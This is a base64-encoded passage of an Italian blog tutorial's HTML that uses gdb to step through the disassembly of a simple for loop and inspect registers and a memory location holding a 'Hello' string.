hbiBzdHlsZT0iY29sb3I6ICMzMzk5MzM7Ij4vPC9zcGFuPnggMHg4MDQ4M2Q1CjB4ODA0ODNkNSA8c3BhbiBzdHlsZT0iY29sb3I6ICMzMzk5MzM7Ij46PC9zcGFuPiAgICAweDAwZjg0NWM3CjxzcGFuIHN0eWxlPSJjb2xvcjogIzAwOTkwMDsiPiYjNDA7PC9zcGFuPmdkYjxzcGFuIHN0eWxlPSJjb2xvcjogIzAwOTkwMDsiPiYjNDE7PC9zcGFuPiB4PHNwYW4gc3R5bGU9ImNvbG9yOiAjMzM5OTMzOyI+Lzwvc3Bhbj54IDxzcGFuIHN0eWxlPSJjb2xvcjogIzAwMDBmZjsiPiRlaXA8L3NwYW4+CjB4ODA0ODNkNSA8c3BhbiBzdHlsZT0iY29sb3I6ICMzMzk5MzM7Ij46PC9zcGFuPiAgICAweDAwZjg0NWM3CjxzcGFuIHN0eWxlPSJjb2xvcjogIzAwOTkwMDsiPiYjNDA7PC9zcGFuPmdkYjxzcGFuIHN0eWxlPSJjb2xvcjogIzAwOTkwMDsiPiYjNDE7PC9zcGFuPiB4PHNwYW4gc3R5bGU9ImNvbG9yOiAjMzM5OTMzOyI+Lzwvc3Bhbj5pIDxzcGFuIHN0eWxlPSJjb2xvcjogIzAwMDBmZjsiPiRlaXA8L3NwYW4+CjB4ODA0ODNkNSA8c3BhbiBzdHlsZT0iY29sb3I6ICMzMzk5MzM7Ij46PC9zcGFuPiAgICBtb3YgICAgRFdPUkQgUFRSIDxzcGFuIHN0eWxlPSJjb2xvcjogIzAwOTkwMDsiPiYjOTE7PC9zcGFuPmVicDxzcGFuIHN0eWxlPSJjb2xvcjogIzMzOTkzMzsiPi08L3NwYW4+MHg4PHNwYW4gc3R5bGU9ImNvbG9yOiAjMDA5OTAwOyI+JiM5Mzs8L3NwYW4+PHNwYW4gc3R5bGU9ImNvbG9yOiAjMzM5OTMzOyI+LDwvc3Bhbj4weDA8L3ByZT48L2Rpdj48L2Rpdj4KCjxwPklub2x0cmUgYWdnaXVnZW5kbyBpbCBudW1lcm8gNiBwcmltYSBkZWxsYSA8ZW0+aTwvZW0+IGRpIDxzcGFuIHN0eWxlPSJ0ZXh0LWRlY29yYXRpb246IHVuZGVybGluZTsiPjxlbT5pbnN0cnVjdGlvbjwvZW0+PC9zcGFuPiBwb3NzaWFtbyB2ZWRlcmUgbGUgNiBzdWNjZXNzaXZlIGlzdHJ1emlvbmkuPC9wPgoKPGRpdiBjbGFzcz0id3Bfc3ludGF4Ij48ZGl2IGNsYXNzPSJjb2RlIj48cHJlIGNsYXNzPSJwZXJsIiBzdHlsZT0iZm9udC1mYW1pbHk6bW9ub3NwYWNlOyI+PHNwYW4gc3R5bGU9ImNvbG9yOiAjMDA5OTAwOyI+JiM0MDs8L3NwYW4+Z2RiPHNwYW4gc3R5bGU9ImNvbG9yOiAjMDA5OTAwOyI+JiM0MTs8L3NwYW4+IHg8c3BhbiBzdHlsZT0iY29sb3I6ICMzMzk5MzM7Ij4vPC9zcGFuPjZpIDxzcGFuIHN0eWxlPSJjb2xvcjogIzAwMDBmZjsiPiRlaXA8L3NwYW4+CjB4ODA0ODNkNSA8c3BhbiBzdHlsZT0iY29sb3I6ICMzMzk5MzM7Ij46PC9zcGFuPiAgICBtb3YgICAgRFdPUkQgUFRSIDxzcGFuIHN0eWxlPSJjb2xvcjogIzAwOTkwMDsiPiYjOTE7PC9zcGFuPmVicDxzcGFuIHN0eWxlPSJjb2xvcjogIzMzOTkzMzsiPi08L3NwYW4+MHg4PHNwYW4gc3R5bGU9ImNvbG9yOiAjMDA5OTAwOyI+JiM5Mzs8L3NwYW4+PHNwYW4gc3R5bGU9ImNvbG9yOiAjMzM5OTMzOyI+LDwvc3Bhbj4weDAKMHg4MDQ4M2RjIDxzcGFuIHN0eWxlPSJjb2xvcjogIzMzOTkzMzsiPjo8L3NwYW4+ICAgIGptcCAgICAweDgwNDgzZWUKMHg4MDQ4M2RlIDxzcGFuIHN0eWxlPSJjb2xvcjogIzMzOTkzMzsiPjo8L3NwYW4+ICAgIG1vdiAgICBEV09SRCBQVFIgPHNwYW4gc3R5bGU9ImNvbG9yOiAjMDA5OTAwOyI+JiM5MTs8L3NwYW4+ZXNwPHNwYW4gc3R5bGU9ImNvbG9yOiAjMDA5OTAwOyI+JiM5Mzs8L3NwYW4+PHNwYW4gc3R5bGU9ImNvbG9yOiAjMzM5OTMzOyI+LDwvc3Bhbj4weDgwNDg0ZDAKMHg4MDQ4M2U1IDxzcGFuIHN0eWxlPSJjb2xvcjogIzMzOTkzMzsiPjo8L3NwYW4+ICAgIGNhbGwgICAweDgwNDgyZjQKMHg4MDQ4M2VhIDxzcGFuIHN0eWxlPSJjb2xvcjogIzMzOTkzMzsiPjo8L3NwYW4+ICAgIGFkZCAgICBEV09SRCBQVFIgPHNwYW4gc3R5bGU9ImNvbG9yOiAjMDA5OTAwOyI+JiM5MTs8L3NwYW4+ZWJwPHNwYW4gc3R5bGU9ImNvbG9yOiAjMzM5OTMzOyI+LTwvc3Bhbj4weDg8c3BhbiBzdHlsZT0iY29sb3I6ICMwMDk5MDA7Ij4mIzkzOzwvc3Bhbj48c3BhbiBzdHlsZT0iY29sb3I6ICMzMzk5MzM7Ij4sPC9zcGFuPjB4MQoweDgwNDgzZWUgPHNwYW4gc3R5bGU9ImNvbG9yOiAjMzM5OTMzOyI+Ojwvc3Bhbj4gICAgPHNwYW4gc3R5bGU9ImNvbG9yOiAjYjFiMTAwOyI+Y21wPC9zcGFuPiAgICBEV09SRCBQVFIgPHNwYW4gc3R5bGU9ImNvbG9yOiAjMDA5OTAwOyI+JiM5MTs8L3NwYW4+ZWJwPHNwYW4gc3R5bGU9ImNvbG9yOiAjMzM5OTMzOyI+LTwvc3Bhbj4weDg8c3BhbiBzdHlsZT0iY29sb3I6ICMwMDk5MDA7Ij4mIzkzOzwvc3Bhbj48c3BhbiBzdHlsZT0iY29sb3I6ICMzMzk5MzM7Ij4sPC9zcGFuPjB4OTwvcHJlPjwvZGl2PjwvZGl2PgoKPHA+QSBxdWVzdG8gcHVudG8gc2kgdmVkZSBjb21lIGFsIHJlZ2lzdHJvIHB1bnRhdG8gZGkgPGVtPmVpcDwvZW0+IGMmIzgyMTc7w6ggdW5hIDxlbT4mIzgyMjA7PHNwYW4gc3R5bGU9InRleHQtZGVjb3JhdGlvbjogdW5kZXJsaW5lOyI+RFdPUkQgUFRSIFtlYnAtMHg4XSwwJiMyMTU7MDwvc3Bhbj4mIzgyMjA7PC9lbT4uIFRhbGUgb3BlcmF6aW9uZSBzaWduaWZpY2EgY2hlIGlsIHZhbG9yZSB6ZXJvIHZpZW5lIGFsbG9jYXRvIGFsbGEgbG9jYXppb25lIDxzcGFuIHN0eWxlPSJ0ZXh0LWRlY29yYXRpb246IHVuZGVybGluZTsiPjxlbT5lYnAgJiM4MjExOyA4PC9lbT48L3NwYW4+IG9zc2lhIDxzcGFuIHN0eWxlPSJ0ZXh0LWRlY29yYXRpb246IHVuZGVybGluZTsiPjxlbT4weGJmZmY3ZDEwPC9lbT48L3NwYW4+IGNoZSBhbCBtb21lbnRvIGNvbnRpZW5lIDxzcGFuIHN0eWxlPSJ0ZXh0LWRlY29yYXRpb246IHVuZGVybGluZTsiPjxlbT4weGI3ZmViZjUwPC9lbT48L3NwYW4+OjwvcD4KCjxkaXYgY2xhc3M9IndwX3N5bnRheCI+PGRpdiBjbGFzcz0iY29kZSI+PHByZSBjbGFzcz0icGVybCIgc3R5bGU9ImZvbnQtZmFtaWx5Om1vbm9zcGFjZTsiPjxzcGFuIHN0eWxlPSJjb2xvcjogIzAwOTkwMDsiPiYjNDA7PC9zcGFuPmdkYjxzcGFuIHN0eWxlPSJjb2xvcjogIzAwOTkwMDsiPiYjNDE7PC9zcGFuPiBpIHIgZWJwCmVicCAgICAgICAgICAgIDB4YmZmZjdkMTggICAgICAgMHhiZmZmN2QxOAo8c3BhbiBzdHlsZT0iY29sb3I6ICMwMDk5MDA7Ij4mIzQwOzwvc3Bhbj5nZGI8c3BhbiBzdHlsZT0iY29sb3I6ICMwMDk5MDA7Ij4mIzQxOzwvc3Bhbj4geDxzcGFuIHN0eWxlPSJjb2xvcjogIzMzOTkzMzsiPi88L3NwYW4+eCA8c3BhbiBzdHlsZT0iY29sb3I6ICMwMDAwZmY7Ij4kZWJwPC9zcGFuPiA8c3BhbiBzdHlsZT0iY29sb3I6ICMzMzk5MzM7Ij4tPC9zcGFuPiA8c3BhbiBzdHlsZT0iY29sb3I6ICNjYzY2Y2M7Ij44PC9zcGFuPgoweGJmZmY3ZDEwPHNwYW4gc3R5bGU9ImNvbG9yOiAjMzM5OTMzOyI+Ojwvc3Bhbj4gICAgIDB4YjdmZWJmNTA8L3ByZT48L2Rpdj48L2Rpdj4KCjxwPk5lbGxhIHN1Y2Nlc3NpdmEgbG9jYXppb25lIGRpIG1lbW9yaWEsIG9zc2lhIGFsbCYjODIxNztpbmRpcml6em8gPHNwYW4gc3R5bGU9InRleHQtZGVjb3JhdGlvbjogdW5kZXJsaW5lOyI+PGVtPjB4ODA0ODNkYzwvZW0+PC9zcGFuPiDDqCBwcmVzZW50ZSB1biBzYWx0byBpbmNvbmRpemlvbmF0byA8ZW0+am1wPC9lbT4gYWxsYSBsb2NhemlvbmUgPHNwYW4gc3R5bGU9InRleHQtZGVjb3JhdGlvbjogdW5kZXJsaW5lOyI+PGVtPjB4ODA0ODNlZTwvZW0+PC9zcGFuPi4gVmVyaWZpY2hpYW1vLCBwcm9zZWd1ZW5kbyBkaSB1bmEgaXN0cnV6aW9uZSA8c3BhbiBzdHlsZT0idGV4dC1kZWNvcmF0aW9uOiB1bmRlcmxpbmU7Ij48ZW0+bmV4dGk8L2VtPjwvc3Bhbj4sIGNoZSBsJiM4MjE3OzxlbT5laXA8L2VtPiBzdWNjZXNzaXZvIHNpYSBwcm9wcmlvIHF1ZWxsbzo8L3A+Cgo8ZGl2IGNsYXNzPSJ3cF9zeW50YXgiPjxkaXYgY2xhc3M9ImNvZGUiPjxwcmUgY2xhc3M9InBlcmwiIHN0eWxlPSJmb250LWZhbWlseTptb25vc3BhY2U7Ij48c3BhbiBzdHlsZT0iY29sb3I6ICMwMDk5MDA7Ij4mIzQwOzwvc3Bhbj5nZGI8c3BhbiBzdHlsZT0iY29sb3I6ICMwMDk5MDA7Ij4mIzQxOzwvc3Bhbj4gbmV4dGkKMHgwODA0ODNkYyAgICAgIDxzcGFuIHN0eWxlPSJjb2xvcjogI2NjNjZjYzsiPjY8L3NwYW4+ICAgICAgICAgPHNwYW4gc3R5bGU9ImNvbG9yOiAjYjFiMTAwOyI+Zm9yPC9zcGFuPiA8c3BhbiBzdHlsZT0iY29sb3I6ICMwMDk5MDA7Ij4mIzQwOzwvc3Bhbj5pPHNwYW4gc3R5bGU9ImNvbG9yOiAjMzM5OTMzOyI+PTwvc3Bhbj48c3BhbiBzdHlsZT0iY29sb3I6ICNjYzY2Y2M7Ij4wPC9zcGFuPjxzcGFuIHN0eWxlPSJjb2xvcjogIzMzOTkzMzsiPjs8L3NwYW4+IGkgPHNwYW4gc3R5bGU9ImNvbG9yOiAjMDAwMGZmOyI+JmFtcDtsdDwvc3Bhbj48c3BhbiBzdHlsZT0iY29sb3I6ICMzMzk5MzM7Ij47PC9zcGFuPiA8c3BhbiBzdHlsZT0iY29sb3I6ICNjYzY2Y2M7Ij4xMDwvc3Bhbj48c3BhbiBzdHlsZT0iY29sb3I6ICMzMzk5MzM7Ij47PC9zcGFuPiBpPHNwYW4gc3R5bGU9ImNvbG9yOiAjMzM5OTMzOyI+Kys8L3NwYW4+PHNwYW4gc3R5bGU9ImNvbG9yOiAjMDA5OTAwOyI+JiM0MTs8L3NwYW4+CjxzcGFuIHN0eWxlPSJjb2xvcjogIzAwOTkwMDsiPiYjNDA7PC9zcGFuPmdkYjxzcGFuIHN0eWxlPSJjb2xvcjogIzAwOTkwMDsiPiYjNDE7PC9zcGFuPiBpIHIgZWlwCmVpcCAgICAgICAgICAgIDB4ODA0ODNkYyAgICAgICAgMHg4MDQ4M2RjCjxzcGFuIHN0eWxlPSJjb2xvcjogIzAwOTkwMDsiPiYjNDA7PC9zcGFuPmdkYjxzcGFuIHN0eWxlPSJjb2xvcjogIzAwOTkwMDsiPiYjNDE7PC9zcGFuPiB4PHNwYW4gc3R5bGU9ImNvbG9yOiAjMzM5OTMzOyI+Lzwvc3Bhbj5pIDxzcGFuIHN0eWxlPSJjb2xvcjogIzAwMDBmZjsiPiRlaXA8L3NwYW4+CjB4ODA0ODNkYyA8c3BhbiBzdHlsZT0iY29sb3I6ICMzMzk5MzM7Ij46PC9zcGFuPiAgICBqbXAgICAgMHg4MDQ4M2VlPC9wcmU+PC9kaXY+PC9kaXY+Cgo8cD5JbmZhdHRpLCBvcmEgbCYjODIxNzs8ZW0+ZWlwPC9lbT4gY29udGllbmUgdW4gc2FsdG8gaW5jb25kaXppb25hdG8gPGVtPmptcDwvZW0+LjxiciAvPgpHdWFyZGlhbW8gYWRlc3NvIGxlIHN1Y2Nlc3NpdmUgMTAgaXN0cnV6aW9uaTo8L3A+Cgo8ZGl2IGNsYXNzPSJ3cF9zeW50YXgiPjxkaXYgY2xhc3M9ImNvZGUiPjxwcmUgY2xhc3M9InBlcmwiIHN0eWxlPSJmb250LWZhbWlseTptb25vc3BhY2U7Ij48c3BhbiBzdHlsZT0iY29sb3I6ICMwMDk5MDA7Ij4mIzQwOzwvc3Bhbj5nZGI8c3BhbiBzdHlsZT0iY29sb3I6ICMwMDk5MDA7Ij4mIzQxOzwvc3Bhbj4geDxzcGFuIHN0eWxlPSJjb2xvcjogIzMzOTkzMzsiPi88L3NwYW4+MTBpIDxzcGFuIHN0eWxlPSJjb2xvcjogIzAwMDBmZjsiPiRlaXA8L3NwYW4+CjB4ODA0ODNkYyA8c3BhbiBzdHlsZT0iY29sb3I6ICMzMzk5MzM7Ij46PC9zcGFuPiAgICBqbXAgICAgMHg4MDQ4M2VlCjB4ODA0ODNkZSA8c3BhbiBzdHlsZT0iY29sb3I6ICMzMzk5MzM7Ij46PC9zcGFuPiAgICBtb3YgICAgRFdPUkQgUFRSIDxzcGFuIHN0eWxlPSJjb2xvcjogIzAwOTkwMDsiPiYjOTE7PC9zcGFuPmVzcDxzcGFuIHN0eWxlPSJjb2xvcjogIzAwOTkwMDsiPiYjOTM7PC9zcGFuPjxzcGFuIHN0eWxlPSJjb2xvcjogIzMzOTkzMzsiPiw8L3NwYW4+MHg4MDQ4NGQwCjB4ODA0ODNlNSA8c3BhbiBzdHlsZT0iY29sb3I6ICMzMzk5MzM7Ij46PC9zcGFuPiAgICBjYWxsICAgMHg4MDQ4MmY0CjB4ODA0ODNlYSA8c3BhbiBzdHlsZT0iY29sb3I6ICMzMzk5MzM7Ij46PC9zcGFuPiAgICBhZGQgICAgRFdPUkQgUFRSIDxzcGFuIHN0eWxlPSJjb2xvcjogIzAwOTkwMDsiPiYjOTE7PC9zcGFuPmVicDxzcGFuIHN0eWxlPSJjb2xvcjogIzMzOTkzMzsiPi08L3NwYW4+MHg4PHNwYW4gc3R5bGU9ImNvbG9yOiAjMDA5OTAwOyI+JiM5Mzs8L3NwYW4+PHNwYW4gc3R5bGU9ImNvbG9yOiAjMzM5OTMzOyI+LDwvc3Bhbj4weDEKMHg4MDQ4M2VlIDxzcGFuIHN0eWxlPSJjb2xvcjogIzMzOTkzMzsiPjo8L3NwYW4+ICAgIDxzcGFuIHN0eWxlPSJjb2xvcjogI2IxYjEwMDsiPmNtcDwvc3Bhbj4gICAgRFdPUkQgUFRSIDxzcGFuIHN0eWxlPSJjb2xvcjogIzAwOTkwMDsiPiYjOTE7PC9zcGFuPmVicDxzcGFuIHN0eWxlPSJjb2xvcjogIzMzOTkzMzsiPi08L3NwYW4+MHg4PHNwYW4gc3R5bGU9ImNvbG9yOiAjMDA5OTAwOyI+JiM5Mzs8L3NwYW4+PHNwYW4gc3R5bGU9ImNvbG9yOiAjMzM5OTMzOyI+LDwvc3Bhbj4weDkKMHg4MDQ4M2YyIDxzcGFuIHN0eWxlPSJjb2xvcjogIzMzOTkzMzsiPjo8L3NwYW4+ICAgIGpsZSAgICAweDgwNDgzZGUKMHg4MDQ4M2Y0IDxzcGFuIHN0eWxlPSJjb2xvcjogIzMzOTkzMzsiPjo8L3NwYW4+ICAgIG1vdiAgICBlYXg8c3BhbiBzdHlsZT0iY29sb3I6ICMzMzk5MzM7Ij4sPC9zcGFuPjB4MAoweDgwNDgzZjkgPHNwYW4gc3R5bGU9ImNvbG9yOiAjMzM5OTMzOyI+Ojwvc3Bhbj4gICAgYWRkICAgIGVzcDxzcGFuIHN0eWxlPSJjb2xvcjogIzMzOTkzMzsiPiw8L3NwYW4+MHgxNAoweDgwNDgzZmMgPHNwYW4gc3R5bGU9ImNvbG9yOiAjMzM5OTMzOyI+Ojwvc3Bhbj4gICAgPHNwYW4gc3R5bGU9ImNvbG9yOiAjMDAwMDY2OyI+cG9wPC9zcGFuPiAgICBlY3gKMHg4MDQ4M2ZkIDxzcGFuIHN0eWxlPSJjb2xvcjogIzMzOTkzMzsiPjo8L3NwYW4+ICAgIDxzcGFuIHN0eWxlPSJjb2xvcjogIzAwMDA2NjsiPnBvcDwvc3Bhbj4gICAgZWJwPC9wcmU+PC9kaXY+PC9kaXY+Cgo8cD5EYSBxdWVzdG8gbGlzdGF0byBzaSB2ZWRlIG5vbiB0cm9wcG8gZmFjaWxtZW50ZSBwZXIgaSBuZXdiZSBjb21lIHZpZW5lIGVmZmV0dHVhdG8gaWwgY2ljbG8gPGVtPmZvcjwvZW0+LjxiciAvPgpJbml6aWFsbWVudGUgdmllbmUgZmF0dG8gdW4gc2FsdG8gaW5jb25kaXppb25hdG8gc3VsbGEgbG9jYXppb25lIDxzcGFuIHN0eWxlPSJ0ZXh0LWRlY29yYXRpb246IHVuZGVybGluZTsiPjxlbT4weDgwNDgzZWU8L2VtPjwvc3Bhbj4sIG5lbGxhIHF1YWxlIHZpZW5lIGVmZmV0dHVhdGEgdW5hIGNvbXBhcmUgPGVtPmNtcDwvZW0+LCBsYSBxdWFsZSBkaWNlIGNoZSBzZSBpbCBpbCBudW1lcm8gcHJlc2VudGUgYWxsYSBsb2NhemlvbmUgPHNwYW4gc3R5bGU9InRleHQtZGVjb3JhdGlvbjogdW5kZXJsaW5lOyI+PGVtPmVicCAmIzgyMTE7IDg8L2VtPjwvc3Bhbj4sICBkb3ZlIHByZWNlZGVudGVtZW50ZSBlcmEgc3RhdG8gaW5pemlhbGl6emF0byAwLCDDqCBtaW5vcmUgbyB1Z3VhbGUgZGkgOSBhbGxvcmEgZXNlZ3VlIGwmIzgyMTc7aXN0cnV6aW9uZSBzdWNjZXNzaXZhIDxlbT5qbGU8L2VtPiBjaGUgcmlzdWx0YSBlc3NlcmUgYXBwcHVudG8gdW4gc2FsdG8gY29uZGl6aW9uYXRvLCBwcm9wcmlvIHBlciB2aWEgZGVsbGEgY29tcGFyZSwgYWxsJiM4MjE3O2lzdHJ1emlvbmUgPHNwYW4gc3R5bGU9InRleHQtZGVjb3JhdGlvbjogdW5kZXJsaW5lOyI+PGVtPjB4ODA0ODNkZTwvZW0+PC9zcGFuPi4gU2ljY29tZSByaXN1bHRhIHZlcmEsIDAgw6ggbWlub3JlIG8gdWd1YWxlIGRpIDksIHJpbml6aWEgaWwgY2ljbG8uPC9wPgo8cD5OZWwgbW9tZW50byBpbiBjdWkgcmlzdWx0ZXLDoCBmYWxzYSwgb3NzaWEgPHNwYW4gc3R5bGU9InRleHQtZGVjb3JhdGlvbjogdW5kZXJsaW5lOyI+PGVtPmVicCAmIzgyMTE7IDg8L2VtPjwvc3Bhbj4gdmFsZSAxMCwgYWxsb3JhIG5vbiBlZmZldHR1ZXLDoCBpbCBzYWx0byBlIGNvbnRpbnVlcsOgIGNvbiBsJiM4MjE3O2lzdHJ1emlvbmUgc3VjY2Vzc2l2YS48L3A+CjxwPk9yYSBjb250cm9sbGlhbW8gcHJvcHJpbyBjaGUgPHNwYW4gc3R5bGU9InRleHQtZGVjb3JhdGlvbjogdW5kZXJsaW5lOyI+PGVtPmVicCAmIzgyMTE7IDg8L2VtPjwvc3Bhbj4gc2lhIDAgZSBjaGUgcXVpbmRpIDxlbT5qbGU8L2VtPiBmYWNjaWEgaWwgc2FsdG8gY29uZGl6aW9uYXRvPC9wPgoKPGRpdiBjbGFzcz0id3Bfc3ludGF4Ij48ZGl2IGNsYXNzPSJjb2RlIj48cHJlIGNsYXNzPSJwZXJsIiBzdHlsZT0iZm9udC1mYW1pbHk6bW9ub3NwYWNlOyI+PHNwYW4gc3R5bGU9ImNvbG9yOiAjMDA5OTAwOyI+JiM0MDs8L3NwYW4+Z2RiPHNwYW4gc3R5bGU9ImNvbG9yOiAjMDA5OTAwOyI+JiM0MTs8L3NwYW4+IHg8c3BhbiBzdHlsZT0iY29sb3I6ICMzMzk5MzM7Ij4vPC9zcGFuPmkgPHNwYW4gc3R5bGU9ImNvbG9yOiAjMDAwMGZmOyI+JGVicDwvc3Bhbj4gPHNwYW4gc3R5bGU9ImNvbG9yOiAjMzM5OTMzOyI+LTwvc3Bhbj4gPHNwYW4gc3R5bGU9ImNvbG9yOiAjY2M2NmNjOyI+ODwvc3Bhbj4KMHhiZmZmN2QxMDxzcGFuIHN0eWxlPSJjb2xvcjogIzMzOTkzMzsiPjo8L3NwYW4+ICAgICBhZGQgICAgQllURSBQVFIgPHNwYW4gc3R5bGU9ImNvbG9yOiAjMDA5OTAwOyI+JiM5MTs8L3NwYW4+ZWF4PHNwYW4gc3R5bGU9ImNvbG9yOiAjMDA5OTAwOyI+JiM5Mzs8L3NwYW4+PHNwYW4gc3R5bGU9ImNvbG9yOiAjMzM5OTMzOyI+LDwvc3Bhbj5hbAo8c3BhbiBzdHlsZT0iY29sb3I6ICMwMDk5MDA7Ij4mIzQwOzwvc3Bhbj5nZGI8c3BhbiBzdHlsZT0iY29sb3I6ICMwMDk5MDA7Ij4mIzQxOzwvc3Bhbj4geDxzcGFuIHN0eWxlPSJjb2xvcjogIzMzOTkzMzsiPi88L3NwYW4+eCAweGJmZmY3ZDEwCjB4YmZmZjdkMTA8c3BhbiBzdHlsZT0iY29sb3I6ICMzMzk5MzM7Ij46PC9zcGFuPiAgICAgMHgwMDAwMDAwMAo8c3BhbiBzdHlsZT0iY29sb3I6ICMwMDk5MDA7Ij4mIzQwOzwvc3Bhbj5nZGI8c3BhbiBzdHlsZT0iY29sb3I6ICMwMDk5MDA7Ij4mIzQxOzwvc3Bhbj4geDxzcGFuIHN0eWxlPSJjb2xvcjogIzMzOTkzMzsiPi88L3NwYW4+ZCAweGJmZmY3ZDEwCjB4YmZmZjdkMTA8c3BhbiBzdHlsZT0iY29sb3I6ICMzMzk5MzM7Ij46PC9zcGFuPiAgICAgPHNwYW4gc3R5bGU9ImNvbG9yOiAjY2M2NmNjOyI+MDwvc3Bhbj4KPHNwYW4gc3R5bGU9ImNvbG9yOiAjMDA5OTAwOyI+JiM0MDs8L3NwYW4+Z2RiPHNwYW4gc3R5bGU9ImNvbG9yOiAjMDA5OTAwOyI+JiM0MTs8L3NwYW4+IDxzcGFuIHN0eWxlPSJjb2xvcjogIzAwMDA2NjsiPnByaW50PC9zcGFuPiA8c3BhbiBzdHlsZT0iY29sb3I6ICMwMDAwZmY7Ij4kZWJwPC9zcGFuPiA8c3BhbiBzdHlsZT0iY29sb3I6ICMzMzk5MzM7Ij4tPC9zcGFuPiA8c3BhbiBzdHlsZT0iY29sb3I6ICNjYzY2Y2M7Ij44PC9zcGFuPgo8c3BhbiBzdHlsZT0iY29sb3I6ICMwMDAwZmY7Ij4kMjwvc3Bhbj4gPHNwYW4gc3R5bGU9ImNvbG9yOiAjMzM5OTMzOyI+PTwvc3Bhbj4gPHNwYW4gc3R5bGU9ImNvbG9yOiAjMDA5OTAwOyI+JiM0MDs8L3NwYW4+dm9pZCA8c3BhbiBzdHlsZT0iY29sb3I6ICMzMzk5MzM7Ij4qPC9zcGFuPjxzcGFuIHN0eWxlPSJjb2xvcjogIzAwOTkwMDsiPiYjNDE7PC9zcGFuPiAweGJmZmY3ZDEwCjxzcGFuIHN0eWxlPSJjb2xvcjogIzAwOTkwMDsiPiYjNDA7PC9zcGFuPmdkYjxzcGFuIHN0eWxlPSJjb2xvcjogIzAwOTkwMDsiPiYjNDE7PC9zcGFuPiB4PHNwYW4gc3R5bGU9ImNvbG9yOiAjMzM5OTMzOyI+Lzwvc3Bhbj54IDxzcGFuIHN0eWxlPSJjb2xvcjogIzAwMDBmZjsiPiQyPC9zcGFuPgoweGJmZmY3ZDEwPHNwYW4gc3R5bGU9ImNvbG9yOiAjMzM5OTMzOyI+Ojwvc3Bhbj4gICAgIDB4MDAwMDAwMDAKPHNwYW4gc3R5bGU9ImNvbG9yOiAjMDA5OTAwOyI+JiM0MDs8L3NwYW4+Z2RiPHNwYW4gc3R5bGU9ImNvbG9yOiAjMDA5OTAwOyI+JiM0MTs8L3NwYW4+IHg8c3BhbiBzdHlsZT0iY29sb3I6ICMzMzk5MzM7Ij4vPC9zcGFuPmQgPHNwYW4gc3R5bGU9ImNvbG9yOiAjMDAwMGZmOyI+JDI8L3NwYW4+CjB4YmZmZjdkMTA8c3BhbiBzdHlsZT0iY29sb3I6ICMzMzk5MzM7Ij46PC9zcGFuPiAgICAgPHNwYW4gc3R5bGU9ImNvbG9yOiAjY2M2NmNjOyI+MDwvc3Bhbj48L3ByZT48L2Rpdj48L2Rpdj4KCjxwPlNpYSBjb24gaWwgbWV0b2RvIDxzcGFuIHN0eWxlPSJ0ZXh0LWRlY29yYXRpb246IHVuZGVybGluZTsiPjxlbT5wcmludDwvZW0+PC9zcGFuPiBjaGUgYW5hbGl6emFuZG8gY29uIDxlbT54L3g8L2VtPiBkaXJldHRhbWVudGUgc3VsbGEgbG9jYXppb25lIGRpIG1lbW9yaWEsIGNoZSBjb24gPGVtPngvZDwvZW0+IGxvIHZpc3VhbGl6emlhbW8gaW4gZGVjaW1hbGUsIGNvbnRyb2xsaWFtbyBjaGUgaGEgdmFsb3JlIDAgZSBjaGUgcXVpbmRpIGlsIDxlbT5qbGU8L2VtPiBoYSBjb25kaXppb25lIHBvc2l0aXZhIHBlciBlZmZldHR1YXJlIGlsIHNhbHRvLjwvcD4KPHA+T3JhIGludmVjZSBjZXJjaGlhbW8gZGkgY2FwaXJlIGNvc2EgZmFubm8gbGUgYWx0cmUgb3BlcmF6aW9uaS4gQW5hbGl6emFuZG8gbGEgbG9jYXppb25lIDxzcGFuIHN0eWxlPSJ0ZXh0LWRlY29yYXRpb246IHVuZGVybGluZTsiPjxlbT4weDgwNDgzZGU8L2VtPjwvc3Bhbj4gw6ggcHJlc2VudGUgdW4mIzgyMTc7aXN0cnV6aW9uZSBjaGUgZXNzZW56aWFsbWVudGUgbXVvdmUgaWwgdmFsb3JlIGRlbGwmIzgyMTc7aW5kaXJpenpvIDxzcGFuIHN0eWxlPSJ0ZXh0LWRlY29yYXRpb246IHVuZGVybGluZTsiPjxlbT4weDgwNDg0ZDA8L2VtPjwvc3Bhbj4gbmVsbCYjODIxNztpbmRpcml6em8gPGVtPmVzcDwvZW0+LiBWZXJpZmljaGlhbW8gcXVpbmRpIGNvc2EgY29udGllbmUgbCYjODIxNztpbmRpcml6em8gPHNwYW4gc3R5bGU9InRleHQtZGVjb3JhdGlvbjogdW5kZXJsaW5lOyI+PGVtPjB4ODA0ODRkMDwvZW0+PC9zcGFuPjo8L3A+Cgo8ZGl2IGNsYXNzPSJ3cF9zeW50YXgiPjxkaXYgY2xhc3M9ImNvZGUiPjxwcmUgY2xhc3M9InBlcmwiIHN0eWxlPSJmb250LWZhbWlseTptb25vc3BhY2U7Ij48c3BhbiBzdHlsZT0iY29sb3I6ICMwMDk5MDA7Ij4mIzQwOzwvc3Bhbj5nZGI8c3BhbiBzdHlsZT0iY29sb3I6ICMwMDk5MDA7Ij4mIzQxOzwvc3Bhbj4geDxzcGFuIHN0eWxlPSJjb2xvcjogIzMzOTkzMzsiPi88L3NwYW4+eCAweDgwNDg0ZDAKMHg4MDQ4NGQwPHNwYW4gc3R5bGU9ImNvbG9yOiAjMzM5OTMzOyI+Ojwvc3Bhbj4gICAgICAweDZjNmM2NTQ4CjxzcGFuIHN0eWxlPSJjb2xvcjogIzAwOTkwMDsiPiYjNDA7PC9zcGFuPmdkYjxzcGFuIHN0eWxlPSJjb2xvcjogIzAwOTkwMDsiPiYjNDE7PC9zcGFuPiB4PHNwYW4gc3R5bGU9ImNvbG9yOiAjMzM5OTMzOyI+Lzwvc3Bhbj42Y2IgMHg4MDQ4NGQwCjB4ODA0ODRkMDxzcGFuIHN0eWxlPSJjb2xvcjogIzMzOTkzMzsiPjo8L3NwYW4+ICAgICAgPHNwYW4gc3R5bGU9ImNvbG9yOiAjY2M2NmNjOyI+NzI8L3NwYW4+IDxzcGFuIHN0eWxlPSJjb2xvcjogI2ZmMDAwMDsiPidIJzwvc3Bhbj4gIDxzcGFuIHN0eWxlPSJjb2xvcjogI2NjNjZjYzsiPjEwMTwvc3Bhbj4gPHNwYW4gc3R5bGU9ImNvbG9yOiAjZmYwMDAwOyI+J2UnPC9zcGFuPiA8c3BhbiBzdHlsZT0iY29sb3I6ICNjYzY2Y2M7Ij4xMDg8L3NwYW4+IDxzcGFuIHN0eWxlPSJjb2xvcjogI2ZmMDAwMDsiPidsJzwvc3Bhbj4gPHNwYW4gc3R5bGU9ImNvbG9yOiAjY2M2NmNjOyI+MTA4PC9zcGFuPiA8c3BhbiBzdHlsZT0iY29sb3I6ICNmZjAwMDA7Ij4nbCc8